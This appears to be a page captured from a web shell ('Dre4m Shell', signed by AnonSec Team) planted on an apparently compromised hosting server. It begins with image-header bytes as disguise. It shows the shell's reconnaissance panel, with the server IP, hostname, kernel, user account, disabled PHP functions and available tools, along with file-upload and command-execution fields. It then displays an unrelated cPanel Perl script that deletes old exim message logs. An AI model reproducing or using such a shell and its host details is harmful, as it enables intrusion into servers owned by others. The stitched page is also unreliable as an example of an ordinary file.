ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 18.117.106.73
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /scripts/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /scripts/cleanmsglog
#!/usr/local/cpanel/3rdparty/bin/perl

my @LOGDIRS = (
    "/var/spool/exim",
    "/var/spool/exim_incoming"
);

my $tendays  = ( 60 * 60 * 24 * 10 );
my $keeptime = ( time() - $tendays );

foreach my $logdir (@LOGDIRS) {
    opendir( LOGDIR, "${logdir}/msglog" );
    my @MSGS = readdir(LOGDIR);
    closedir(LOGDIR);

    foreach my $log (@MSGS) {
        if ( $log =~ /^\w+\-\w+-\w+$/
            && !-e "${logdir}/input/${log}-H" ) {
            my $modtime = ( stat("${logdir}/msglog/${log}") )[9];
            if ( $modtime < $keeptime ) {
                print "Removing stable file ${logdir}/msglog/${log}..";
                unlink("${logdir}/msglog/${log}");
                print "..Done\n";
            }
        }
    }
}

Anon7 - 2022
AnonSec Team